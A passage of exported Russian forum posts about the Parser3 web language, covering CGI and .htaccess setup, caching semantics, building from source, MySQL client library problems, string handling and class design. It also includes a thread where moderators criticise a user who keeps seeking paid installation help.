Надеюсь, что НЕ данное:\
[code]\
...\
mysql $sqldriversdir/libparser3mysql.so libparser3mysql.so\
...\
[/code]\
\
P.S. Почему не пробуете собрать Парсер, понимаю, что тариф VPS?"
"58751","В настройках профиля включена опция \"отправлять на E-mail все сообщения форума\". По факту получаю множество одинаковых сообщений; некторые сообщения не попадают в ветку обсуждения (использую отображение треда по ссылкам).\
\
Хотелось бы возможнсоть ответа на сообщение простым ответом в почтовой программе простым ответом на конкретный e-mail."
"58752","Не могу, сказать как работает эта панель с конфигурацией вирутуальных хостов, т.к. никогда ей не пользовался.\
\
Могу предложить такой вариант:\
Создать директорию для парсера (например /usr/bin/parser3/), поместить его туда + библиотеки, варианты конфигурации, и т.д.\
Не забыть сменить права на файлы.  \
\
В  vitualhost:\
[code]\
# создаем алиас virtual-host-name/parser/\
ScriptAlias /parser/    /usr/bin/parser3/\
# указываем, какой конфиг читать (вместо auto.p в корне)\
SetEnv CGI_PARSER_CONFIG /usr/bin/parser3/config/parser3config_verXX.p\
# указываем куда писать лог с ошибками\
SetEnv CGI_PARSER_LOG /virtual-host-logs-dir/parser3error.log\
[/code]\
\
в .htaccess пишем:\
[code]\
# назначаем handler \"parsed-html\" для файлов с расширением html\
AddHandler parsed-html html\
# назначаем действие для handler'а \"parsed-html\"\
Action parsed-html /parser/parser3.x.x.x.cgi\
\
# запрещаем читать файлы с расширением .p и .cfg\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]"
"58755","Планируется ли в принципе?\
Вообще, насколько сложно подготовить 64-х битную версию?"
"58756","В связи с тем, что в парсере классы кладутся отдельные файлы, теоретически может возникнуть проблема с производительностью, когда этих классов много. Сейчас нет больших проблем с производительностью CPU или объемом RAM, а вот IOps всегда были в дефиците. \
ИМХО, кеширование байт-кода всех классов в одном файле может существенно ускорить работу парсера.\
\
И еще один вопрос - как работает ^cache[]{} ?\
\
В документации меня смутило вот что:\
[code]\
Изменение времени хранения \
^cache[/data/cache/test2](5){ \
   по ходу работы вы выяснили,  \
   что страницу сохранять не нужно: ^cache(0) \
} \
[/code]\
Логично было бы предположить, что парсер проверяет наличие кеш-файла/дату его создания. Если файл не устарел, то игнорирует код {}.\
\
Наличие ^cache(0) говорит о том, что это не так."
"58757","[quot]В связи с тем, что в парсере классы кладутся отдельные файлы, теоретически может возникнуть проблема с производительностью, когда этих классов много.[/quot]\
\
возникнет - приходите и расскажите о ней :)\
у нас из-за этого проблемы ещё не возникали, при этом некоторые личности в проекте используют _десятки_ файлов/классов. зато проблемы с производительностью ни раз и не два возникали из-за доставания большого количества данных из SQL, сильно неоптимальных алгоритмах или выбранном подходе.\
\
\
про возможности кеширования байт кода ПАФ писал в форуме.\
\
\
кеш работает так, как описано в документации. на вопрос \"как работает ^cache[]{}?\" я могу только посоветовать посмотреть исходники, т.к. не понимаю что конкретно вы хотите знать.\
\
^cache(0) работает как описано. парсер проверяет дату устаревания файла _до_ выполнения кода (можно представить, что он делает это в месте открывающей фигурной скобки), и если файл устарел, то начинает выполнять код в скобках (если не устарел - то считывает/отдает файл и игнорирует код). если код выполнялся, то на закрывающей фигурной скобке парсер сохраняет строку с результатом в файл, если это не было отменено с помощью ^cache(0). т.е. ^cache(0) актуален в момент выполнения кода, ведь по ходу его выполнения вы как программист можете решить, что _это_ кешировать совсем незачем. ^cache(0) - это kbim частный случай изменение времени кеширования изнутри {}. внутри кода вы можете не отключить кеширование вовсе, а лишь изменить время кеширования. если вы это сделали, то при сохранении резальтатов в файл парсер укажет новое заданное значение времени кеширования, а не то, которое было указано в качестве второго параметра у оператора cache."
"58758","видимо, очень сильно устал.\
почему-то подумалось о таком варианте:\
[code]\
^cache[/someCacheFile.tmp]{ \
	^if($bSomeCondition){\
		^cache(0)\
	}{\
		...\
	} \
}\
[/code]\
Но такие случаи кешировать нельзя/нет смысла :)\
\
А вот \
[quote] ^cache(0) - это kbim частный случай изменение времени кеширования изнутри {}.[/quote]\
\
Может добавить в доку или faq?"
"58760","Вы, случайно, не в курсе сколько нужно места на диске для сборки Парсера?\
а то что-то все идет нормально вплоть до сборки самого, а потом вылетает \
[quote]configure: error: C++ compiler cannot create executables\
See `config.log' for more details.\
cat: stdout: Disc quota exceeded\
sed: stdout: Disc quota exceeded\
cat: stdout: Disc quota exceeded\
[/quote]"
"58761","при запуска ./build-with... сначала wget-ом качаются необходимые исходники, потом они распаковываются и собираются библиотеки. в принципе можно после их сборки как минимум удалить .gz файлы в каталоге src, или более того, попробовать вообще удалить каталог src, т.к. сами собранные либы падают в каталоги gc, gnome и т.д."
"58762","ведь я правильно понял, что вам самому было сложно понять что установка времени кешировани == 0 означает \"не кешировать\"?\
\
\
странно только, что там есть пример:\
[code]\
Изменение времени хранения\
^cache[/data/cache/test2](5){\
   по ходу работы вы выяснили, \
   что страницу сохранять не нужно: ^cache(0)\
}\
[/code]\
в которым русским по белому написан текст-комментарий..."
"58763","[quote]Внутри кода допустимы команды, изменяющие время хранения результата работы кода: \
\
^cache(число секунд) \
^cache[дата устаревания][/quote]\
\
пойду-ка я посплю :)"
"58765","Федора 5-я стоит"
"58768","варианта с XML требует 142 метра под распакованные исходники парсера и xml-библиотек плюс надо десять с чем-то метров для parser3.cgi до его ужимания командой strip.\
\
Можно немножко сэкономить, вставив в ./buildall-with-xml команду на удаление архивов после распаковки каждого из них, но сильно это жизнь не облегчит (суммарный вес - семь мегабайт).\
\
Исходники одного лишь парсера с Sql-драйверами требуют только 33 метра."
"58769","тот что у меня работает на Ф5.\
http://files.scandi.org/parser/parser3.cgi.gz"
"58770","У меня в системе стоял gcc четвёртой версии, а парсер собирается только версией 3.4.6. Его исходники (распакованные из архива с gnu.org) заняли 176 метров. Мог бы поставить из пакетов собранный, но, по ряду обстоятельств, пришлось собирать.\
\
Исходники pgsql, которые нужны для сборки соотв. драйвера занимают 63 метра."
"58771","А то все время собирал в условиях, которые не ограничивают ни процом, ни памятью , ни местом.\
теперь хоть буду точно знать требования."
"58774","Может стоит сделать еще вариант  buildall-with-xml-n-clean ?"
"58776","Скажу сразу что удалял не я, но поддерживаю сделавшего это.\
Вы плодите сообщения-клоны. И на форуме они не к чему.\
Вы не с того конца подходите к решению проблемы.\
Хочется заплатить денег за услугу? Платите лучше за нормальный хостинг, на котором можно работать.\
\
Ситуация в следующем - Вы связались с нехорошим хостером, который предоставляет некачественные услуги и, даже если соберется парсер, все равно появятся какие-нибудь другие проблемы.\
Там техподдержки нет совсем. Они сами не в курсе как У НИХ ЖЕ настроены квоты. Совершенно. Они берут деньги и не оказывают услуги."
"58781","Но правила все-же не плохо было бы вывесить."
"58785","[quote]Особенно внимательно посмотрите на данное сообщение.\
Что у вас в конфигурационном файле auto.p?\
Надеюсь, что НЕ данное: \
mysql $sqldriversdir/libparser3mysql.so libparser3mysql.so[/quote]\
\
Нет. Я такой ошибки не мог допустить. \
\
[quote]P.S. Почему не пробуете собрать Парсер, понимаю, что тариф VPS?[/quote]\
\
Не понял про тариф VPS. Да уже пробовали, оказывается ему 300 мег нужно свободного пространства. Сейчас пока столько нет."
"58786","Я бы еще сюда ссылку на правила повесил и страницу со злостными нарушителями. И меня в качестве первого злостного нарушителя. Спасибо за правила, нашел некоторые вещи, которые не были для меня ясны."
"58790","После сборки каждого из\
GC, libxml, libxslt\
буду грохать все в папке с исходниками\
\
AM i right?"
"58791","Чувствую себя тупым. Уже час не могу сложить две строки. Хелп и форум листал, не нашел...\
\
Мой пример:\
$a[12345]\
$b[09876]\
$c[$a$b]\
$c\
[i]На выходе ничего[/i]\
\
$a[12345]\
$b[09876]\
$c[$a+$b]\
$c\
[i]На выходе: \"12345+09876\"[/i]"
"58792","http://www.parser.ru/docs/lang/vars.htm\
там внизу про $superman"
"58793","Из доки понял, что \"В качестве части имени может быть использовано значение другой переменной\".\
Но как-же сложить строки?"
"58794","$a[12345]\
$b[09876]\
$c[${a}$b]\
$c\
\
PS. По-польски \"како бычно\" — коровий кал."
"58795","Большое спасибо за ответ.\
\
PS: Но действительно поиск по хелпу/FAQ/форуму не дал результата :(\
Если я далеко не первый, то наверное стоит обратить внимание на данный вопрос в хелпе и в FAQ'е"
"58797","[quote]В качестве части имени может быть использовано…\
\
…значение другой переменной:\
$superman[value of superman variable]\
$part[man]\
$super$part[/quote]\
\
Методом исключения додумываем ответ на тред."
"58799","http://www.parser.ru/faq/lang/\
\"Хочу вывести рядом содержание двух переменных $a и $b, пишу в коде $a$b но ничего не выводится.\""
"58802","Простите пожалуйста, я перерыл всю доку и ничего не нашел: Eclipse - это что за зверь? :)"
"58806","Эклипс , это среда разработки , грубо говоря навороченный блокнот... изначально создан на базе IBM Worksphere для Java ... но благодоря своей навороченной структуре к нему прикрутили PHP , PERL ,C++ итд....."
"58807","скачать уже можно (кто ищет, тот найдёт), а публиковать новость тут он не спешит, говорит, пока не настолько удобно, как можно сделать.\
\
честно сказать, я изрядно удивлён: если вы знаете по Eclipse, вы знаете, как удобно там сделано программная расширеняемость = как несложно можно получить удобную среду разработки со списком классов, методов и -частично- автодополнением идентификаторов, почему за прошедшие годы это никем не сделано?"
"58808","мы отправляем опубликованные сообщения синхронно.\
когда автор из обновляет [кнопка Редактировать], отправляется обновлённое сообщение.\
\
отличить легко — обновлённое отправлено чуть позже исходного.\
\
про отвечать из почты: мы об этом думали, но решили, что придётся сильно возиться против спама.\
на вебе это сделать проще."
"58811","скачал Эклипс. В восторге. Читаю документацию. Очень хочется прикрутить туда Парсер.\
\
P.S. Скачал версию PHP - PDT - сижу и завидую. Программировать в такой среде полный кайф. Только вот пока не нашел наставлений по формированию своей IDE - не совсем понятно, как туда прикручивать парсер."
"58813","следствие привычки к нашему с вами форуму.\
тут мы любим друг друга наставлять ;)\
и вообще словечко наставник в нашей русской культуре одно из коренных.\
\
культуры разные ;)\
repeat: кто ищет не наставлений, а информации, тот [b]сразу[/b] найдёт."
"58814","то, что вы не задаёте вопроса по моему письму?\
вы, похоже, совсем его не поняли.\
\
вместо этого второй раз цитируете забавное письмо из техподдержки. мы его уже видели и уже повеселились. второй раз один и тот же Аншлаг уже не смешно."
"58815","идёт соревнование, кому это будет нужно первому.\
на наших хостингах и на хостингах наших клиентов работают 32битные версии. Кое-где в режиме совместимости.\
ни у нас ни у наших клиентов проблем нет.\
\
если кому нужно, пусть соберёт под 64бит.\
насколько помню, дело в нескольких мелких несовместимостях с новейшим gcc, которым обычно компилируют.\
плюс одно-два места, где идёт манипуляция битами (компилятор выдаст warning).\
\
просьба этот вопрос больше не поднимать, и кому нужно, не тратя лишних слов потратить пару вечеров и прислать patch.\
\
сами мы это, скорее всего, тоже сделаем.\
ведь не 100% админов клиентов вменяемые."
"58816","$sVar[${sVar}text] работает быстрее и потребляет существенно меньше памяти чем ^sVar.append[text]\
\
это одна из причин, почему упоминаемого .append нет в документации. и кстати нет гарантии, что он не будет убран из языка %-)"
"58818","есть разрабатываемая cms. xml-данные собираются в один, аналогично xsl. при таком подходе как сделать визуальное редактирование документов?"
"58820","и получилось?"
"58821","Есть форма, в ней textarea, в которую забиваютя допустим 100 слов и словосочетаний(каждое с новой строки)\
При нажатии кнопки нужно чтобы ети 100 записей соответственно сохранились в 100 строк в бд. а не 100 в одну. \
т.е как разбить их по одной?"
"58822","Там администраторы их плодят в огромном количестве .so.10 .so.12 14 ... Но толку никакого. Как повлиять на этот процесс я не знаю. Они сообщать тоже ничего не хотят. Типа сами все сделают, но ничего путного не получается... Что-то жуткая проблема получается. Платно никто не решается делать (да и места в 100 мегабайт не хватает на Парсер). Хостер похоже как и я ни бум-бум в этом... Сменить хостера клиент не дает ни за что. Остается лишь клиента сменить, да уже работа сделана, деньги получены... Михаил мои повторные треды по поиску человека на эту пикантную должность стирает... Ладно, все это уже на жалобу начинает походить. Завершаюсь."
"58823","Данные у Вас где храняться ? В БД? либо в XML?"
"58824","Почитайте про string.match , он умеет...\
Можно использовать split, но незнаю как там прописать перевод строки"
"58825","вы не пытаетесь решать проблему. ведете переписку, дублируете треды, жалуетесь на хостинг, его админов, на нас, но не удосужились поискать информацию.\
\
в данном сообщении вы опять не в курсе о чем утверждаете: .so.12, .so.14 и т.д. админы _не_плодят. это стандартные имена клиентской библиотеки mysql (цифры - это номер её версии), о чем написано у них на сайте и о чем не раз уже упоминалось тут (с объяснением и ссылками). вы не поверите, но для некоторых плотформ (в том числн для кучки линуксов) их можно скачать с... mysql, для некоторый - с сайта ОС (например для freebsd, ссылки приводились).\
\
за то время, которое вы ищите кто вам все поставит уже давно можно было самому найти/прочитать/скачать и поставить."
"58827","спасибо за быстрый ответ"
"58832","Не подскажите как попроще сделать. Кароч есть таблица из оного столбца. нужно от каждой записи етого стобца отделить первый символ и перенести в другой столбец."
"58833","[quote]в данном сообщении вы опять не в курсе о чем утверждаете: .so.12, .so.14 и т.д. админы _не_плодят. это стандартные имена клиентской библиотеки mysql (цифры - это номер её версии),[/quote] \
\
Я действительно не разбираюсь в этом вопросе. Потому мне и кажется что они их плодят. А на сайте mysql их так просто не найти. До сих пор для меня это загадка. Я скачивал дистрибутивы mysql. В них подобных библиотек нет. Что делать в этом случае я не знаю. А моя переписка здесь - попытка узнать в чем проблема от людей, которые в этом хорошо разбираются. Для чего, спрашивается, форум тогда нужен...\
\
Как вы объясните тот факт, что вместо того, чтобы поставить нужную библиотеку, они ставят все подряд, типа а вдруг подойдет? Вам это возможно известно. Но я в этом не специалист. Для меня это как шаманство выглядит. Вместо того, чтобы мне сказать что это моя проблема, вы вступаете со мной в переписку еще больше запутывая.\
\
И в общем, а [b]что плохого в том, что я ищу человека, который будет платно мне оказывать эту услугу???[/b]\
\
Вот к примеру:\
\
[quote]Perl cannot locate the libmysqlclient.so shared library. You should be able to fix this problem by one of the following methods: \
Compile the DBD::mysql distribution with perl Makefile.PL -static -config rather than perl Makefile.PL. \
Copy libmysqlclient.so to the directory where your other shared libraries are located (probably /usr/lib or /lib). [/quote]\
\
Для меня это чистое шаманство. Мне проще найти человека, который это хорошо знает как делать и сможет быстро сделать [i]Compile the DBD::mysql[/i]."
"58834","в архиве с исходниками в файле buildall-with-xml две строки wget`a... \
Один для libxml2 , другой для libxslt , пути надо поменять на  \
ftp://xmlsoft.org/libxslt\
и\
ftp://xmlsoft.org/libxml2 соответственно"
"58835","как вариант:\
[code]\
tTableOne{column}\
tTableTwo{columnOne	columnTwo}\
\
tTableOne.menu{\
	tTableTwo.append{tTableOne.column.left(1)	tTableOne.column.mid(-1)}\
}\
[/code]"
"58836","RewriteRule ^([a-z]+)(\\/?)$ /?de=$1"
"58837","статические данные в xml, динамические в Бд, а потом идут в xml.\
проблема в том, что документ собирается из кучи xml, что и вызывает у меня трудность визуального редактирования."
"58838","Так, у меня уже два специалиста побывали. Один не смог поставить Парсер из-за отсутствия свободного места. Другой смог несколько раз скомпилировать без расширения это пространства, но установить не удалось. К сожалению, он не сообщил по какой причине.\
\
Кто сможет помочь гарантированно в решении проблемы?"
"58839","Дано.\
[code]\
@CLASS\
my_class\
\
@create[]\
....\
# создаем здесь некий обьект\
\
@method1[]\
....\
$obj2[^my_class::create[]]\
# что то делаем с новым обьектом\
$result[$obj2]\
[/code]\
\
Методов может быть много. соответственно если имя класса изменится - то надо будет его менять во всех вызовах конструктора.\
\
Можно ли ^[b]my_class[/b]::create[] записать как то по другому?\
\
пробовал шаманить с self, CLASS - ничего не вышло\
\
P.S. Если ответ из разряда вот этого:\
http://www.parser.ru/forum/?id=50255\
\
, то вопрос снимается автоматически :)"
"58840","[code]\
@CLASS\
myClass\
\
@create[]\
  Создаем класс\
\
@selfFabric[]\
  $result[^myClass::selfFabric[]]\
\
@method[]\
  $var[^selfFabric[]]\
[/code]\
\
В наследниках можно будет просто переопределить метод selfFabric. Другой вопрос, что подобная методика (создание в методах объектов собственного класса) мне кажется крайне сомнительной - вы трудновылавливаемых ошибок с рекурсией не боитесь?"
"58841","Обрисую ситуацию чуть яснее, но специально без подробностей, чтобы общая задача была видна...\
\
Есть скрипт (не парсерный), который принимает параметры и возвращает некий результат, который записывается в файл.\
\
Соответствено задача конструктора - дернуть этот файл, и его содержимое поместить  в обьект класса. \
\
Задача каждого метода - дернуть скрипт с некими параметрами, после чего создается _новый_ файл, который нужно загрузить и поместить в обьект класса. Можно в каждом методе делать загрузку файла, повторяя код в каждом методе. А можно использовать для этого конструктор класса, поскольку он этим и занимается.\
\
По идее можно конечно сделать отдельный метод и использовать его и в конструкторе и в методах, но это я тока щас подумал.\
\
Не очень знаю как правильнее\
\
Чтобы была рекурсия надо я так понимаю в текущей раскладке из конструктора дернуть какой нибудь метод, но это не предполагается вообще."
"58842","http://www.parser.ru/forum/?id=49916"
"58844","http://bash.org.ru/quote.php?num=103623\
йа пацтулом"
"58845","... надо разделить ваш класс на два. Первый будет заниматься исключительно обработкой ответа \"скрипта\", а второй будет этот скрипт звать и создавать объекты первого класса."
"58846","[quote]Для MySQL ver 4.1 нужна libmysqlclient.so.12, а не libmysqlclient.so.10 [/quote]\
\
И как вы объясните тот факт, что у меня сейчас в каталоге скопились и 10 и 12 и вроде mysql 4.1 и ничего из этого не подходит?"
"58848","что libmysqlclient.so.* у вас - от 64-битной версии MySQL. Парсер - 32-битный, и у него не получается воспользоваться 64-битной библиотекой.\
\
[url=\"http://www.parser.ru/forum/?id=57923\"]Вот тут товарищ[/url] столкнулся с аналогичной проблемой при использовании операционки FreeBSD. Вопрос решился походом на официальный сайт, скачиванием 32-битной версии MySQL и выдиранием нужного файлика оттуда."
"58849","[quote]что libmysqlclient.so.* у вас - от 64-битной версии MySQL.[/quote] \
\
Интересно, [b]откуда вы взяли, что у меня 64???[/b] Это вообще странно.\
\
У меня ОС 32-ух битная. Это я узнавал. А тут все говорят, что 32-битный Парсер на 64-битной ОС не работает. Логично предположить, что mysql64 не будет работать на ОС32. Вы точно считаете, что у меня 64-битная MySQL?\
\
[quote]Вопрос решился походом на официальный сайт, скачиванием 32-битной версии MySQL и выдиранием нужного файлика оттуда.[/quote]\
\
Мне уже два человека пытались помочь платно. Не смогли. Вы, по всей видимости, хорошо в этом деле разбираетесь. Я прошу вас помочь. Дело небольшое, на пару часов для человека знающего. Два дела сделаете - поможете мне и деньги заработаете.\
\
Вы все ругаете меня в этом треде. Я знаю, что это дело - скомпилировать и установить нужные файлы для профессионала дело двух-трех часов. Я готов оплатить работу. Почему вместо того, чтобы помочь - вам выгодно меня обругивать со всех сторон??? Чем я это заслужил?"
"58852","Мдааа. Моя невнимательность. Спасибо!"
"58855","1. скачал parser-3.2.1sp2.tar.gz и вижу, что ссылки, прописанные в buildall-with-xml - корректны\
2. отдельно правки в эти архивы мы не вносим (т.к. править в куче мест напряжно). при выкладывании новой версии будут выложены новые архивы исходников.\
\
P.S. предвидя вопрос 'когда,' сразу отвечаю: дата неизвестна, но не раньше чем будет поправлено 2 бага (с lock/hashfile и с junction) + добавлено две новые фичи (@OPTIONS\\nlocals и декодирование %uXXXX). может ещё позже, т.к. в todo есть ещё кучка мелочей. знающие C++ и желающие помочь - как обычно welcome %-)"
"58856","я так думаю, что надо не плодить ещё два новых скрипта (чтобы потом править ссылки к новым версиям lib ещё в 2-х местах), а добавить ключик, в случае задания которого исходники успешно собранных либы будут удаляться :)"
"58858","На одном проекте понадобилось разбивать цену по три знака. Из 10000000 сделать 10 000 000.\
\
Вдруг кому надо.\
\
[code]@spaced[string;number]\
$times(^string.length[])\
^times.div($number)\
$times(^times.int[])\
$start(^string.length[] - $times * $number)\
$result[\
	^string.left($start)&nbsp^;\
	^for[i](1;$times){\
		^string.mid(($i - 1) * $number + $start;$number)\
	}[&nbsp^;]\
][/code]"
"58860","И понял следующее:\
\
Весь эклипс - это набор плагинов = безграничная расширяемость. В доке целый раздел посвящен разработке отдельной IDE. Фактически пишутся плагины, используя API Эклипса - формируется свой текстовый редактор, свой браузер, свои панели кнопок и менюшки.\
\
Единственная проблема - все это делается на Java. Язык не сложный, но имеющий свой синтаксис, на изучение которого требуется время. Кроме того - для полноценной ИДЕ нужно выучить доку по АПИ Эклипса = +время.\
\
Но зато если все это сделать - получится супер! Простой анализ PHP IDE позволяет прикинуть все возможности данного пакета.\
\
Короче - задача поставлена в первую позицию ToDo_на_досуге."
"58861","Три просьбы - \
\
1) выполните на сервере команду [code]uname -a[/code]\
\
2) Затем с http://phpsysinfo.sourceforge.net/ скачайте php-скрипт, положите на сайт и откройте браузером. Нужны только секции \"System Vital\" и \"Hardware Information\".\
\
3) создайте на сервере файлик info.php следующего содержания:\
\
[code]<?php\
phpinfo();\
?> [/code]\
\
Все три результата покажите здесь."
"58863","[quot]\
что плохого в том, что я ищу человека, который будет платно мне оказывать эту услугу???\
[/quot]\
\
да почти ничего плохого в этом собственно нет. хотите потратить деньги - ваше право.\
\
с моей точки зрения плохо то, что:\
- вы уже несколько раз поднимали тут темы \"проблем\", решать которые _сами_ вы изначально не хотите;\
- люди тратят время, пытаясь вам помочь, однако вы просто игнорируете их ответы, используя отмазки вида: \"я в этом ничего не понимаю\";\
- после того как вы найдёте того, кто вам решит проблему на конкретном хостинге вы придете позже с другим хостингом и теми-же проблемами, и опять будете задавать те-же самые вопросы;\
- при всём этом если бы вы захотели, прочитали и поняли-бы что вам написали, вы сами увидели-бы, что от вас не требуют невозможного. в большинстве случаев ни о какой компиляции речи вообще не идет, а идет она о том, что нужно узнать платформу, найти и скачать одну библиотеку под эту платформу, а затем закачать её на ваш хостинг и прописать к ней путь (который правда тоже нужно вначале узнать). всё.\
\
вот смотрите на ваш [url=\"/forum/?id=58849\"]один из последних постов[/url]:\
[quot]Интересно, откуда вы взяли, что у меня 64???[/quot]\
\
гениальный вопрос. чтобы устанавливать парсер нужно вначале узнать платформу. а вы спрашиваете об этом нам после стольких постов. да, мы этого не знаем, потому что вы не сообщали этого. мы лишь [url=\"/forum/?id=58738\"]предполагаем[/ur] о тех вещах, о которых вы не говорите (кстати ПАФ сообщал, что это лишь одна из возвожных причин, которая последнее время встречается чаще обычного) и на основании этих предположений даем советы. если после того, как вам дали совет вы его игнорируете, думаете возникает желание повторять его? ну... наверное у кого-то возникает, но не долго."
"58864","1. '1 000' - так не пишут %-)\
2. как вы думаете, потребуется-ли вам хоть отделять по 2 или по 4 символа? %-)\
3. когда вам вдруг потребуется отделить знаки у числа со знаком, будете дописывать код? ну... вариант.\
\
=> не смотря на то, что для меня это тоже достаточно громоздко, использую вызов этого метода :)"
"58865","Пытаюсь попробовать prototype.js, но ни как не могу придумать как заставить парсер не обращать внимание на строки типа $(tabs[i].id).onclick.\
после исправления на ^$(tabs[i].id).onclick перестает работать скрипт.\
\
Кто-то уже сталкивался?\
\
[code]\
function init () {\
	var tabs = document.getElementsByClassName('tabs');\
	for (var i = 0; i < tabs.length; i++) {\
		$(tabs[i].id).onclick = function () {\
			getTabData(this.id);\
		}\
	}\
}[/code]"
"58866","1 — так захотел клиент, и за это платят.\
2 — да, если это MAC-адрес (правда через дефис).\
3 — потребуется, возьму ваш.\
\
И почему я никогда не сую носом людей в их же ошибки... Если это не грамматические ошибки."
"58868","[code]\
uname -a\
FreeBSD apple.peterstar.ru 5.4-RELEASE FreeBSD 5.4-RELEASE #0: \
Wed Oct  5 12:53:             51 MSD 2005     \
root@apple.peterstar.ru:/usr/obj/usr/src/sys/GENERIC_QUOTA  i386\
[/code]\
\
http://astragrupp.ru/phpsysinfo/\
http://astragrupp.ru/phpinfo/"
"58869","[quote]- вы уже несколько раз поднимали тут темы \"проблем\", решать которые _сами_ вы изначально не хотите;[/quote]\
\
Так я это и не скрываю. Ясно ведь сказал, что ищу человека на это дело.\
\
[quote]- люди тратят время, пытаясь вам помочь, однако вы просто игнорируете их ответы, используя отмазки вида: \"я в этом ничего не понимаю\";[/quote]\
\
Извините, но вы ошибаетесь, я не игнорирую. Я делаю то, что советуют. А то что я приписываю эти слова, то это правда, я действительно плохо понимаю в тех действиях, что мне советуют.\
\
[quote]- после того как вы найдёте того, кто вам решит проблему на конкретном хостинге вы придете позже с другим хостингом и теми-же проблемами, и опять будете задавать те-же самые вопросы;[/quote]\
\
Ну да, сначала я пытался сам это сделать, но вижу теперь воочию, что область весьма обширная, надо много знать, чтобы с легкостью компилировать и устанавливать. Теперь просто ищу человека, который лучше меня в этом разбирается.\
\
[quote]- при всём этом если бы вы захотели, прочитали и поняли-бы что вам написали, вы сами увидели-бы, что от вас не требуют невозможного. в большинстве случаев ни о какой компиляции речи вообще не идет, [/quote]\
\
Вот тут вы не правы. Уже два человека пыталось это сделать и никаких простых действий они не производили. Один из который вообще исчез, не решив проблемы. А они знают гораздо больше меня. Все-таки несколько успешных установок за ними. Вы, Михаил, по себе судите. Вы профессионал, вероятно высокого класса. Вам это действительно элементарно делать. Вы забываете, что я специализируюсь в других областях. Там мне гораздо проще. Эту мысль я дважды произносил, вы в упор не замечаете."
"58870","Здраствуйте. Плз обьясните как сделать.\
При добавлении строк в бд, нужно чтобы добавлялись только те строки которых еще нет. Ето делается средствами парсера или в mysql есть такие функции? Если с пом-ю парсера то мы должны сначала считать все   стороки, сравнить с добавляемой и если она отсутствует добавить? Есть ли вариант попроще?"
"58873","вообще в случае, когда требуется накапливать строковый результат (много append), лучший из измеренных мной вариантов был такой: создаем таблицу, в неё делаем append строк, в самом конце создаем одну суммарную строку: $sResult[^tResult.menu{$tResult.str}[^#0A]]\
\
но я измерял это достаточно давно (до 3.1.6/3.2.1), т.е. может что-то изменилось. лучший способ: взять да перемерить (ну... как обычно) :)\
\
P.S. сравнивал ^string.append[text], $string[${string}text] и упоминаемый вариант с table. вариант, когда сразу формируется готовая строка, в моём сравнении не участвовал."
"58875","Кто-то взял и переименовал файл без меня..."
"58876","есть классы List и Item, объект класса List содержит несколько объектов класса Item\
у каждого из классов есть метод show, который строит xml представление объекта\
в результате ожидается xml (тэг list может отсутствовать):\
\
<list>\
<item>...</item>\
<item>...</item>\
<item>...</item>\
</list>\
\
в методе List:show есть итератор, вызывающий метод show для каждого объекта класса Item\
\
он может выводить только содержимое объекта без охватывающих тэгов\
\
<item>^item.show[]</item>\
\
а может выводить содержимое объекта вместе с охватывающим тэгом\
\
^item.show[]\
\
в последнем случае тэг item появляется в методе Item:show\
\
по опыту посоветуйте, пожалуйста, какого варианта лучше придерживаться?"
"58877","Вообще тут практикуют создание трех методов\
\
1. Получить сам элемент\
2. Вывести его в html\
3. Вывести его в xml\
\
Используя такой подход, любой юзер ваших классов может воспользоваться одним из вышеуказанных методов на выбор. Это дает полный полет фантазии )."
"58885","Если вы читали спецификацию, то видели, что там применяется аутентификация по протоколу Диффи-Хеллмана. И в одном месте потребуется высчитать остаток от деления числа на этого трёхсотзначного монстра: http://openid.net/specs/openid-authentication-1_1.html#pvalue\
\
А парсер, как известно, числа длиннее примерно 15 знаков не переваривает. Так что Perl нам в руки..."
"58890","увидеть полный чейндж_лог. Или это все изменения, что сделаны в новой версии?"
"58892","при выпуске новой версии будет описание (как обычно), пока лишь обнаруженные несовместимости, о которых сообщаем заранее, чтобы было время неспешно приготовиться."
"58893","Есть таблица tab:\
+---+--------------------------------------------------------------------------------+\
|id |xml                                                                             |\
+---+--------------------------------------------------------------------------------+\
| 1 | <data><netprice value=\"1\"/><comment value=\"65656\"/><Provider value=\"\"/></data> |\
+---+--------------------------------------------------------------------------------+\
| 2 | <data><netprice value=\"1\"/><comment value=\"bnbn\"/><Provider value=\"\"/></data>  |\
+---+--------------------------------------------------------------------------------+\
| 3 | <data><netprice value=\"1\"/><comment value0=\"adf6\"/><Provider value=\"\"/></data> |\
+---+--------------------------------------------------------------------------------+\
SELECT * FROM tab WHERE MATCH (xml) AGAINST (\"value\" IN BOOLEAN MODE) не находит ни чего\
SELECT * FROM tab WHERE MATCH (xml) AGAINST (\"value0\" IN BOOLEAN MODE) находит id=3\
SELECT * FROM tab WHERE MATCH (xml) AGAINST (\"val\" IN BOOLEAN MODE) не находит ни чего\
В чем дело???"
"58896","мне нужно было для полуавтоматического обновления прайса в системе заказов.\
\
Администратор нажимает на кнопочку [обновить прайс], и скрипт ломится в экстранет поставщика за новыми ценами. Для входа в экстранет нужна авторизация. Поставщиков несколько, логины/пароли у всех разные. Делать огромную форму для ввода всех логинов и паролей - глупо и неэффективно. Хранить все пароли в открытом виде в файлике на сервере - стремно. Возможный выход из положения - храним пароли в файлике на сервере в зашифрованном виде, администратор в интерфейсе вводит один пароль, который используется как ключ для расшифровки файла. Тут по большому счету подходит любой более менее серьезный алгоритм обратимого шифрования. Например вышеупомянутый TEA, как самый простой в реализации, плюс есть масса примеров реализации алгоритма для веб-ориентированных языков (Javascript, Ruby, PHP...), и везде оно занимает пару десятков строчек... только не в Парсере ;)"
"58897","вот только нифига непонятно как пользоваться этим самым mail:received..."
"58899","Часто нужно конструирование по строго определенным разработчиком класса правилам, - которые другие могут не соблюдать и от этого может что-то падать. Разумеется статический метод класса создает его же экземпляр."
"58900","... обычно констуктор делают private. А методы конструирования наоборот. :)\
\
В скриптовых языках это зачастую невозможно (как раз в нашем случае) и я бы все-таки рекомендовал такие вещи не делать."
"58901","например, что должен показать метод List:html? полный список?\
\
<ul>\
<li>первый элемент</li>\
<li>второй элемент</li>\
</ul>\
\
или только содержимое списка?\
\
<li>первый элемент</li>\
<li>второй элемент</li>\
\
казалось бы, +- один элемент ul, но для меня очень важно узнать мнение опытных кодеров"
"58902","Для вывода деревьев и списков всегда есть два метода:\
printTree и printTreeXML, к примеру.\
Первый обрамляет корневыми тэгами и вызывает внутри них второй, а тот, в свою очередь печатает всё без абрамления.\
\
Пример:\
[code]\
@printTree[hData]\
$result[\
	<tree>\
		^printTreeXML[$hData](0)\
	</tree>\
]\
@printTreeXML[hData;iParentID][tItems]\
$tItems[$hData.$iParentID]\
$result[\
